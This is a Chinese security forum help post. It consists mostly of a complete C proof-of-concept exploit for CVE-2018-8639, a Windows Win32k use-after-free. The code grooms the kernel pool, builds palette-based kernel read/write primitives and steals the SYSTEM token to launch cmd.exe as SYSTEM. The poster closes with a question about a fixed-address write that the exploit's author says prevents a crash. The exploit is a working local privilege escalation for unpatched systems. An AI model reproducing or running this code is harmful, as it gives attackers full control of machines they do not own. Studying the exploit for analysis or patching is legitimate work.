首页
社区
课程
招聘
未解决 [求助]关于CVE-2018-8639的问题请教
发表于: 2020-3-31 19:23 1464

未解决 [求助]关于CVE-2018-8639的问题请教

2020-3-31 19:23
1464
poc:
#include "stdafx.h"
#include "stdio.h"
#include "windows.h"
#include "psapi.h"

typedef unsigned __int64 QWORD, *PQWORD;

typedef struct _UNICODE_STRING {
	USHORT Length;
	USHORT MaximumLength;
	PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct
{
	QWORD UniqueProcessIdOffset;
	QWORD TokenOffset;
	QWORD DCoffset;
} VersionSpecificConfig;

extern "C"
{
	VOID __stdcall NtGdiSetLinkedUFIs(HDC hDC, CHAR *buffer, INT length);
	VOID __stdcall NtUserUnregisterClass(PUNICODE_STRING pUnicodeString, HINSTANCE hInst, PULONG64 length);
}

HDC			hDC_Writer[3000];
CHAR		flag[0x80] = "ze0r is so cool!\x00\x00\x00";
QWORD		buf[0x20];
ULONG64		ntOsBase;

DWORD		win32kSize = 0xFFFFFFFF;
BYTE		*win32kFilebuffer;

HPALETTE	hPltMgr = 0;
HPALETTE	hPltWkr = 0;
HPALETTE	hPalettes[20000];

//VersionSpecificConfig gConfig = { 0xb4, 0xf8 };  //win 7
VersionSpecificConfig gConfig;

typedef PQWORD(WINAPI * RTLGetCurrentPeb)();
RTLGetCurrentPeb pfnRtlGetCurrentPeb;

typedef void (WINAPI * RTLGetVersion)(OSVERSIONINFOEXW *);
RTLGetVersion pfnRtlGetVersion;

typedef BOOL(WINAPI * ENUMDeviceDrivers)(LPVOID  *lpImageBase, DWORD   cb, LPDWORD lpcbNeede);
ENUMDeviceDrivers pfnEnumDeviceDrivers;

void ReadMem(QWORD Addr, UINT len) {
	buf[0] = Addr;
	SetPaletteEntries(hPltMgr, 0x3C, 2, (LPPALETTEENTRY)buf);
	GetPaletteEntries(hPltWkr, 0, len, (LPPALETTEENTRY)buf);
}

ULONG64 GetNTOsBase()
{
	DWORD	needed = 0;
	ULONG64 Bases[0x1000];
	ULONG64 krnlbase = 0;
	if (pfnEnumDeviceDrivers((LPVOID *)&Bases, sizeof(Bases), &needed)) {
		krnlbase = Bases[0];
	}
	return krnlbase;
}

QWORD PsInitialSystemProcess()
{
	ULONG64		res = 0;
	ULONG64		Module = (ULONG64)LoadLibraryA("ntoskrnl.exe");
	ULONG64		Addr = (ULONG64)GetProcAddress((HMODULE)Module, "PsInitialSystemProcess");

	if (ntOsBase) {
		ReadMem(Addr - Module + ntOsBase, 2);
		res = buf[0];
	}

	FreeLibrary((HMODULE)Module);
	return res;
}

ULONG64 PsGetCurrentProcess(ULONG64 sysEPS)
{
	ULONG64		pEPROCESS = sysEPS;
	ReadMem(pEPROCESS + gConfig.UniqueProcessIdOffset, 4);

	while (TRUE) {
		pEPROCESS = buf[1] - gConfig.UniqueProcessIdOffset - sizeof(ULONG64);
		ReadMem(pEPROCESS + gConfig.UniqueProcessIdOffset, 4);
		if (GetCurrentProcessId() == buf[0]) {
			return pEPROCESS;
		}
	}
}

HDC FindCorruptDC() {

	QWORD res[0x80 / 4];
	PDWORD  buf = (PDWORD)flag;
	*buf = 0;
	*(buf + 1) = 0;
	*(buf + 2) = 0x501;
	*(buf + 3) = 0x1b;
	for (int i = 0; i < 1000; i++) {
		NtGdiSetLinkedUFIs(hDC_Writer[i], (CHAR *)buf, 2);
		if (!GetPaletteEntries(hPltMgr, 0x1C, 0x10, (LPPALETTEENTRY)res)) {
			*(buf + 3) = 0xfff;
			NtGdiSetLinkedUFIs(hDC_Writer[i], (CHAR *)buf, 2);
			return hDC_Writer[i];
		}
	}

	return 0;
}

VOID RepairCorruptDC(QWORD ObjAddr, HDC CorruptDC){

	buf[0] = ObjAddr + gConfig.DCoffset;
	SetPaletteEntries(hPltMgr, 0x3C, 2, (LPPALETTEENTRY)buf);

	buf[0] = 0;
	buf[1] = 0;
	SetPaletteEntries(hPltWkr, 0, 4, (LPPALETTEENTRY)buf);
}

LPACCEL		lpAccel;


HACCEL			hAccel_0xC10_top[4000];
HACCEL			hAccel_0x1F0_middle[5000];
HACCEL			hAccel_0x200_bottom[4000];




void PoolFengShui() {

	for (int i = 0; i < 3000; i++) {
		hDC_Writer[i] = CreateCompatibleDC(NULL);
	}
	for (int i = 0; i < 4000; i++) {
		hAccel_0xC10_top[i] = CreateAcceleratorTableW(lpAccel, 0x1FA);
	}

	for (int i = 0; i < 4000; i++) {
		hAccel_0x200_bottom[i] = CreateAcceleratorTableW(lpAccel, 0x4D);
	}

	for (int i = 0; i < 5000; i++) {
		hAccel_0x1F0_middle[i] = CreateAcceleratorTableW(lpAccel, 0x4A);
	}


	for (int i = 1000; i < 5000; i += 2) {
		DestroyAcceleratorTable(hAccel_0x1F0_middle[i]);
	}
}

void GetMgrAndWkr() {

	QWORD res[0x80 / 4];
	PDWORD  buf = (PDWORD)flag;
	*buf = 0;
	*(buf + 1) = 0;
	*(buf + 2) = 0x501;
	*(buf + 3) = 0xfff;
	for (int i = 0; i < 1000; i++) {
		NtGdiSetLinkedUFIs(hDC_Writer[i], (CHAR *)buf, 2);
	}

	ZeroMemory(res, 0x80 / 4);
	for (int i = 0; i < 20000; i++) {
		//1b*4=6c,10*4=40
		if (GetPaletteEntries(hPalettes[i], 0x1b, 0x10, (LPPALETTEENTRY)res)) {
			hPltMgr = hPalettes[i];
			hPltWkr = (HPALETTE)((res[0] << 32) * 0x100000000 + (res[0] >> 32));
		}
	}

	if ((hPltMgr == 0) || (hPltWkr == 0)) {
		printf("[*] Cannot found Worker, Maybe patched!\n");
		ExitProcess(0);
	} else
	{
		printf("[*]  found Worker, hPltMgr: %p, hPltWkr: %p!\n", hPltMgr, hPltWkr);

		PTEB Teb = NtCurrentTeb();
		PPEB Peb = Teb->ProcessEnvironmentBlock;
		if (Peb == NULL)
		{
			return ;
		}

		printf("[+]Peb Pointer address : %p\n", Peb);
		PBYTE  GdiSharedHandleTable = *(PBYTE *)((ULONGLONG)Peb + 0xF8);
		if (GdiSharedHandleTable == NULL)
		{
			return ;
		}


		PBYTE	hPltMgrObj = *(PBYTE *)((ULONGLONG)GdiSharedHandleTable + sizeof(HANDLEENTRY) * (((ULONGLONG)hPltMgr) & 0xffff));

		if (hPltMgrObj == NULL)
		{
			return ;
		}
		printf("[+]hPltMgr Lookup address: %p\n", hPltMgrObj);


		PBYTE	hPltWkrObj = *(PBYTE *)((ULONGLONG)GdiSharedHandleTable + sizeof(HANDLEENTRY) * (((ULONGLONG)hPltWkr) & 0xffff));

		if (hPltWkrObj == NULL)
		{
			return;
		}
		printf("[+]hPltWkrObj Lookup address: %p\n", hPltWkrObj);
	}

	for (int i = 0; i < 20000; i++) {
		if ((hPalettes[i] != hPltMgr) && (hPalettes[i] != hPltWkr)) {
			DeleteObject(hPalettes[i]);
		}
	}

	for (int i = 0; i < 5000; i++) {
		DestroyAcceleratorTable(hAccel_0x1F0_middle[i]);
	}
}

VOID GetSystem() {

	ULONG64		SelfToken = 0;
	ULONG64		SystemToken = 0;
	QWORD		SystemEPS;
	QWORD		CurrentEPS;

	STARTUPINFO stStartUpInfo = { sizeof(stStartUpInfo) };
	PROCESS_INFORMATION pProcessInfo;
	CHAR	cmd[] = "c:\\\\windows\\\\system32\\\\cmd.exe";

	SystemEPS = PsInitialSystemProcess();
	CurrentEPS = PsGetCurrentProcess(SystemEPS);

	printf("[*] GOT System EPROCESS!\n");
	ReadMem(SystemEPS + gConfig.TokenOffset, 2);
	SystemToken = buf[0];

	printf("[*] GOT SystemToken %p \n", SystemToken);
	buf[0] = CurrentEPS + gConfig.TokenOffset;
	SetPaletteEntries(hPltMgr, 0x3C, 2, (LPPALETTEENTRY)buf);

	GetPaletteEntries(hPltWkr, 0, 2, (LPPALETTEENTRY)&SelfToken);
	SetPaletteEntries(hPltWkr, 0, 2, (LPPALETTEENTRY)&SystemToken);

	printf("[*] Swaping shell.\n\n");
	ZeroMemory(&stStartUpInfo, sizeof(STARTUPINFO));
	stStartUpInfo.cb = sizeof(STARTUPINFO);
	stStartUpInfo.dwFlags = STARTF_USESHOWWINDOW;
	stStartUpInfo.wShowWindow = 1;
	CreateProcess(cmd, NULL, NULL, NULL, FALSE, NULL, NULL, NULL, &stStartUpInfo, &pProcessInfo);

	//restor token
	SetPaletteEntries(hPltWkr, 0, 2, (LPPALETTEENTRY)&SelfToken);
}

INT main(int argc, char *argv[])
{
	system("pause");
	ULONG64				a = 0xa;
	HDESK				hNewDesk;
	HWND				hWndCloneCls;
	CHAR				RegMenuName[240];
	CHAR				NewMenuName[] = "ze0r";
	PQWORD				gSharedInfo;
	WNDCLASSEXA			wndClass;
	HMODULE				hInst = GetModuleHandleA(NULL);
	PUNICODE_STRING		pClassName = (PUNICODE_STRING)malloc(sizeof(UNICODE_STRING));
	OSVERSIONINFOEXW	*OSInfo = (OSVERSIONINFOEXW *)malloc(sizeof(OSVERSIONINFOEXW));;

	OSInfo->dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXW);

	memset(RegMenuName, 0x78, 240);
	RegMenuName[239] = 0;

	pClassName->Length = 0x18;
	pClassName->MaximumLength = 0x1a;
	pClassName->Buffer = L"WNDCLASSMAIN";

	//size of Palette = 0x100;
	LOGPALETTE *lPalette = (LOGPALETTE*)malloc(0xA4);
	memset(lPalette, 0x55, 0xA4);
	//16*4+90=e8=align=100
	lPalette->palNumEntries = 0x16;
	lPalette->palVersion = 0x300;


	wndClass = { 0 };
	wndClass.cbSize = sizeof(WNDCLASSEXW);
	wndClass.lpfnWndProc = DefWindowProc;
	wndClass.cbClsExtra = 0;
	wndClass.cbWndExtra = 0;
	wndClass.hInstance = hInst;
	wndClass.lpszMenuName = RegMenuName;
	wndClass.lpszClassName = "WNDCLASSMAIN";

	lpAccel = (LPACCEL)malloc(sizeof(ACCEL) * 2);
	SecureZeroMemory(lpAccel, sizeof(ACCEL));

	pfnRtlGetCurrentPeb = (RTLGetCurrentPeb)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlGetCurrentPeb");
	pfnRtlGetVersion = (RTLGetVersion)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlGetVersion");
	pfnEnumDeviceDrivers = (ENUMDeviceDrivers)GetProcAddress(GetModuleHandle("kernel32.dll"), "K32EnumDeviceDrivers");

	pfnRtlGetVersion(OSInfo);
	switch (OSInfo->dwMajorVersion) {
	case 5:
		if ((OSInfo->dwMinorVersion == 2) && (OSInfo->wProductType != VER_NT_WORKSTATION)) {
			printf("[*] Operating System: Windows 2003.\n");
		}
		else
		{
			printf("[*] Unsupported System.\n");
			return 0;
		}
		break;
	case 6:
		if (OSInfo->dwMinorVersion == 0) {
			if (OSInfo->wProductType == VER_NT_WORKSTATION) {
				printf("[*] Operating System: Windows Vista.\n");
			}
			else {

				gConfig.UniqueProcessIdOffset = 0x0e0;
				gConfig.TokenOffset = 0x168;
				gConfig.DCoffset = 0x128;

				pfnEnumDeviceDrivers = (ENUMDeviceDrivers)GetProcAddress(LoadLibraryA("Psapi.dll"), "EnumDeviceDrivers");
				printf("[*] Operating System: Windows Server 2008.\n");
			}
			break;
		}
		if (OSInfo->dwMinorVersion == 1) {
			if (OSInfo->wProductType == VER_NT_WORKSTATION) {
				gConfig.UniqueProcessIdOffset = 0x180;
				gConfig.TokenOffset = 0x208;
				gConfig.DCoffset = 0x138;
				printf("[*] Operating System: Windows 7.\n");
			}
			else {
				gConfig.UniqueProcessIdOffset = 0x180;
				gConfig.TokenOffset = 0x208;
				gConfig.DCoffset = 0x138;
				printf("[*] Operating System: Windows Server 2008 R2.\n");
			}
			break;
		}
		if (OSInfo->dwMinorVersion == 2) {
			if (OSInfo->wProductType == VER_NT_WORKSTATION) {
				printf("[*] Operating System: Windows 8.\n");
			}
			else {
				printf("[*] Operating System: Windows Server 2012.\n");
			}
			break;
		}
		if (OSInfo->dwMinorVersion == 3) {
			if (OSInfo->wProductType == VER_NT_WORKSTATION) {
				printf("[*] Operating System: Windows 8.1.\n");
			}
			else {
				printf("[*] Operating System: Windows Server 2012 R2.\n");
			}
			break;
		}
		printf("[*] Unsupported System.\n");
		return 0;
	case 10:
		if (OSInfo->dwMinorVersion == 0) {
			if (OSInfo->wProductType == VER_NT_WORKSTATION) {
				printf("[*] Operating System: Windows 10.\n");
			}
			else {
				printf("[*] Operating System: Windows Server 2016 or Windows Server 2019.\n");
			}
			break;
		}
		break;
	}
	SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
	ntOsBase = GetNTOsBase();
	gSharedInfo = pfnRtlGetCurrentPeb() + 0xF8 / 8;
	hNewDesk = CreateDesktopA("ze0r", NULL, NULL, DF_ALLOWOTHERACCOUNTHOOK, GENERIC_ALL, NULL);
	PoolFengShui();

	//Register window class
	printf("[*] Register Class.\n");
	RegisterClassExA(&wndClass);

	//Switch to a new Desktop
	SetThreadDesktop(hNewDesk);
	hWndCloneCls = CreateWindowA("WNDCLASSMAIN", "CVE", WS_DISABLED, 0, 0, 0, 0, nullptr, nullptr, hInst, nullptr);
	CloseDesktop(hNewDesk);

	//Trigger Release memory
	SetClassLongPtrA(hWndCloneCls, GCLP_MENUNAME, (LONG64)NewMenuName);

	//Reuse memory
	for (int i = 0; i < 3000; i++) {
		//1d8
		NtGdiSetLinkedUFIs(hDC_Writer[i], flag, 0x3b);
	}

	//Trigger vul;
	printf("[*] Trigger vul.\n");
	DestroyWindow(hWndCloneCls);
	NtUserUnregisterClass(pClassName, hInst, &a);

	//Destroy and ReAlloc memory,this will cause memory merge;
	for (int i = 0; i < 4000; i++) {
		DestroyAcceleratorTable(hAccel_0xC10_top[i]);
	}
	for (int i = 0; i < 4000; i++) {
		 //C00
		hAccel_0xC10_top[i] = CreateAcceleratorTableW(lpAccel, 0x1F7);
	}

	//Ҫͷ
	//for (int i = 0; i < 4000; i++) {
	//	DestroyAcceleratorTable(hAccel_0x200_bottom[i]);
	//}

	//Alloc Palette
	for (int i = 0; i < 20000; i++) {
		hPalettes[i] = CreatePalette(lPalette);
	}

	printf("[*] Find Manager and Worker.\n");
	GetMgrAndWkr();
	GetSystem();

	HDC	hDCcorrupt = FindCorruptDC();
	PQWORD  pObjAddres = (PQWORD)(*gSharedInfo + (0xffff & (QWORD)hDCcorrupt) * 0x18);
	RepairCorruptDC(*pObjAddres, hDCcorrupt);

	for (int i = 0; i < 1000; i++) {
		DeleteDC(hDC_Writer[i]);
	}

	//Repair BSOD by memory leaking check,
	//yes! it is a fix address in system! - -!
	ReadMem(0xFFFFF90000002340, 2);
	buf[0] -= 0x20;
	SetPaletteEntries(hPltWkr, 0, 2, (LPPALETTEENTRY)buf);

	return 0;
}


在poc的最后,将0xFFFFF90000002340地址的值减去0x20后再存放回去,这段代码有什么含义吗?我去掉了这段代码后,在我的环境中还是照样可以执行。作者注释说修复蓝屏??0xFFFFF90000002340这个地址是啥意思有大哥知道吗?





[课程]Linux pwn 探索篇!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//